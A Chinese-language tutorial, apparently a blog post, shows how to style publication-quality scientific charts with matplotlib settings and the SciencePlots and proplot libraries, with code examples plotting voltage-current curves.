这一步对于有绘制较多图表的小伙伴有很大帮助，通过在绘制图表之前通过如下代码，分别更改字体、字体大小、线宽、刻度等多个常见属性，如下(这里只更改所需内容)：

plt.rcParams['font.family'] = 'Times New Roman'
plt.rcParams['font.size'] = 18
plt.rcParams['axes.linewidth'] = 2

以上分别设置全局字体为Times New Roman，字体大小为18，轴宽度为2。当然，需要对个别字体进行设置的，可通过局部更改属性即可。更多全局变量属性可参考：rcParams[1]

1. 「移除轴脊(spines)」

有的图表要求对部分轴脊(通常是上、右)进行去除，可通过如下代码实现：

ax.spines['right'].set_visible(False)
ax.spines['top'].set_visible(False)

3. 「刻度属性(Tick Parameters)」

刻度属性设置可是小编每次使用matplotlib绘制图表使用最多的语句了，可以设置刻度长短、粗细、方向、刻度标签等。下面只是对部分属性进行设置：

# 通过如下代码添加副刻度
from matplotlib.pyplot import MultipleLocator
fig, ax = plt.subplots(figsize=(4,3),dpi=200)
#修改次刻度
yminorLocator = MultipleLocator(.25/2) #将此y轴次刻度标签设置为0.1的倍数
xminorLocator = MultipleLocator(.25/2)
ax.yaxis.set_minor_locator(yminorLocator)
ax.xaxis.set_minor_locator(xminorLocator)
ax.tick_params(which='major', length=5, width=1.5, direction='in', top='on',right="on")
ax.tick_params(which='minor', length=3, width=1,direction='in', top='on',right=

4. 「Axis labels」通过如下代码添加Axis labels：

ax.set_xlabel('Voltage (mV)', fontsize=13,labelpad=5)
ax.set_ylabel('Current ($\mu$A)', fontsize=13,labelpad=5)

其中labelpad=5 用于调整轴标签和刻度标签之间的距离

5. 「汇总」这一步，我们将之前全部的设置都应用到之前默认的Matplotlib绘制的图表上，代码如下：

plt.rcParams['font.family'] = 'Times New Roman'
plt.rcParams['font.size'] = 12
plt.rcParams['axes.linewidth'] = 1
# 设置图例标题大小
plt.rcParams['legend.title_fontsize'] = 9
fig, ax = plt.subplots(figsize=(4,3),dpi=200)
colors = ["#0073C2","#EFC000","#868686","#CD534C","#7AA6DC","#003C67"]
for p,c in zip([10, 15, 20, 30, 50, 100],colors):
    ax.plot(x, model(x, p), color=c,label=p)
#修改次刻度
yminorLocator = MultipleLocator(.25/2) #将此y轴次刻度标签设置为0.1的倍数
xminorLocator = MultipleLocator(.25/2)
ax.yaxis.set_minor_locator(yminorLocator)
ax.xaxis.set_minor_locator(xminorLocator)
#修改刻度属性
ax.tick_params(which='major', length=5, width=1.5, direction='in', top='on',right="on")
ax.tick_params(which='minor', length=3, width=1,direction='in', top='on',right="on")
# 添加axis label
ax.set_xlabel('Voltage (mV)', fontsize=13,labelpad=5)
ax.set_ylabel('Current ($\mu$A)', fontsize=13,labelpad=5)
#添加网格
ax.grid(which='major',ls='--',alpha=.8,lw=.8)
#添加图例
ax.legend(fontsize=8,loc='upper left',title="Order")
# 添加文本信息
ax.set_title("Default Plot Style Of Matplotlib",fontsize=14,pad=10)
ax.text(.87,.06,'\nVisualization by DataCharm',transform = ax.transAxes,
        ha='center', va='center',fontsize = 5)

第三方库绘制

这一部分我们使用Python绘制出版级别的图表的优秀第三方库：SciencePlots和proplot，前者是提供多个matplotlib绘图主题以应对不同期刊绘制要求，后者则是对Matplotlib进行再一次的加工封装，使其绘制复杂严谨的科学图表不再局限于Matplotlib本身的局限性。接下来，我将使用这两个库对其上述数据进行可视化绘制。

SciencePlots 库绘制

这个库可谓是Python绘制出版级别图表的绝对利器，使用只需直接调用主题即可,如下：

with plt.style.context(['science','grid','no-latex']):
    fig, ax = plt.subplots(figsize=(4,3),dpi=200)
    for p in [10, 15, 20, 30, 50, 100]:
        ax.plot(x, model(x, p), label=p)
    ax.legend(title='Order')
    ax.set(xlabel='Voltage (mV)')
    ax.set(ylabel='Current ($\mu$A)')
    ax.set(title="Scienceplots Plot Style Example Of Matplotlib")
    ax.autoscale(tight=True)

proplot库绘制

这里，我们使用该库绘制，如下：

import proplot as plot
fig, ax = plot.subplots(figsize=(4,3.5),dpi=100)
for p in [10, 15, 20, 30, 50, 100]:
    ax.plot(x, model(x, p), label=p)
ax.format(title='Example Of Proplot Plot Style',abc=True, abcloc='ur', abcstyle='(A)',
          xlabel='Voltage (mV)', ylabel='Current ($\mu$A)',
          xtickdir='in',ytickdir="in",xtickloc="both",ytickloc="both",xgridminor=False,
          ygridminor=False
)
ax.legend(ncols=1)

可以看出：proplot库实现了对matplotlib的再一次封装，简化其繁琐的定制化绘制过程，同时也对matplotlib 默认的刻度、网格等图表属性进行了修改，使其更加符合出版级别的要求。

汇总了三种Python绘制出版级别图表的方法：

• matplotlib：一步步定制化操作。自由度较高，但需熟悉较多的绘图函数和参数熟悉。
• SciencePlots ：提供较多的符合各种期刊要求的matplotlib绘图主题，使用简单。但对要求高的绘制需求满足度较低。
• proplot：对matplotlib进行了封装，简化绘图过程，提供符合出版级别的图层熟悉设置，但可能需要你重新熟悉一整个绘图语句。